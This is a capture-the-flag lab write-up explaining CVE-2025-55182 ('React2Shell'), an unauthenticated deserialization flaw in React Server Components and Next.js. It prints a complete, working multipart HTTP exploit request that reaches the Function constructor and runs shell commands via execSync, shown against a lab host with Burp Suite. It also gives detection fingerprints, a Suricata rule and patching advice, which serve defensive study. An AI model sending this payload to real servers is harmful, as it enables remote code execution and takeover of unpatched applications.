
React2Shell CVE-2025-55182: unauthenticated unsafe deserialization in React Server Components leading to reliable remote code execution via the Flight protocol.
Difficulty: Intermediate → Advanced
Category: Web Exploitation | Deserialization | RCE

CVE-2025-55182, nicknamed React2Shell, is one of those vulnerabilities that instantly makes defenders nervous 😬. Discovered in December 2025, it carries a CVSS score of 10.0, which already tells you this isn’t some edge-case bug.
At its core, this vulnerability affects React Server Components (RSC) and frameworks built on top of them — most notably Next.js. The scary part?
👉 Unauthenticated Remote Code Execution (RCE) 👉 Single crafted HTTP request 👉 Default configurations are vulnerable
No login. No special permissions. Just one well-formed request.
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopackThis room walks us through why this bug exists, how it is exploited, and what defenders can do about it.
Flag: No answer needed.
Before exploitation, we need architecture clarity.
React Server Components (introduced in React 19) allow parts of a React app to run on the server, not the browser. This means:
Communication between client and server happens via the React Flight protocol. This protocol serializes data on the client and deserializes it on the server.
It uses special markers:
$@ → Chunk reference
$B → Blob reference
Property paths via colon notation Example:
$1:constructor:constructor
⚠️ And this serialization logic is exactly where things go wrong.
Question: What symbol denotes a Blob reference?
✅ Answer: $B
At the heart of CVE-2025-55182 lies a classic unsafe deserialization flaw.
Let’s look at the vulnerable pattern (do not crop 👇):
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
In JavaScript, bracket notation:
obj[someKey]
does not limit access to exported properties only. It walks the entire prototype chain.
Now comes the critical insight 👀:
.constructorconstructor points to the Function constructorFunction("code") = arbitrary JS executionBecause the Flight protocol allows colon-separated paths, an attacker can send:
$1:constructor:constructor
Which resolves to:
.constructor.constructor again → FunctionAt this point, game over 🎮.
Flag: No answer needed.
Now let’s break down maple3142’s PoC, step by step.
The attacker sends a multipart request containing a fake Chunk object:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
This object mimics React’s internal Chunk structure.
By pointing then to Chunk.prototype.then, React is tricked into awaiting attacker-controlled logic.
The $B1337 marker triggers the Blob deserialization handler, which internally executes:
response._formData.get(response._prefix + id)
But we poisoned:
_formData.get → Function_prefix → malicious JSResulting execution:
Function("process.mainModule.require('child_process').execSync('xcalc');1337")
💥 Arbitrary JavaScript execution achieved.
The PoC executes:
process.mainModule
.require('child_process')
.execSync('xcalc')
This can be trivially replaced with:
Flag: No answer needed.
Here’s the complete exploit request (verbatim, not cropped):
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
(…multipart body continues…)
Next-Action header triggers Server Actionsmultipart/form-data is mandatory$@0 creates a self-reference$B1337 triggers Blob logicconstructor:constructor leads to FunctionThis is not accidental — it’s a precisely engineered chain.
React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js:
Others: React Router (RSC), Waku, Redwood SDK
📊 Wiz research: 39% of cloud environments exposed 🌐 Shodan: 571k+ React servers, 444k+ Next.js
That’s… a lot 😶
First in Repeater, make New HTTP Request and select Target.

Using Burp Suite Repeater, we send the payload:
execSync('id')

And later:
execSync('whoami')

User: ubuntu
Flag:
{React-19.2.0}
Clean, reliable, repeatable exploitation 💀
Good news for defenders 👮♂️ — exploitation leaves fingerprints.
Next-Action headermultipart/form-data"status":"resolved_model""then":"$1:__proto__:then"These should never appear in normal user traffic.
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
{
"queries": {
"detect_rev2shell_react_server_components": {
"query": "SELECT name, version, path FROM npm_packages WHERE ...",
"interval": 3600
}
}
}
Perfect for:

React2Shell is a textbook example of:
Once patched versions are installed and npm audit recommendations followed, the exploit dies completely ✅.
⚠️ Never test this outside authorized labs.
🔥 Always patch fast.
🧠 Always understand why a bug exists — not just how to exploit it.
If you enjoyed this write-up or want to stay connected with my work in cybersecurity, CTFs, and VAPT:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010
Happy hacking — responsibly 🗿🚀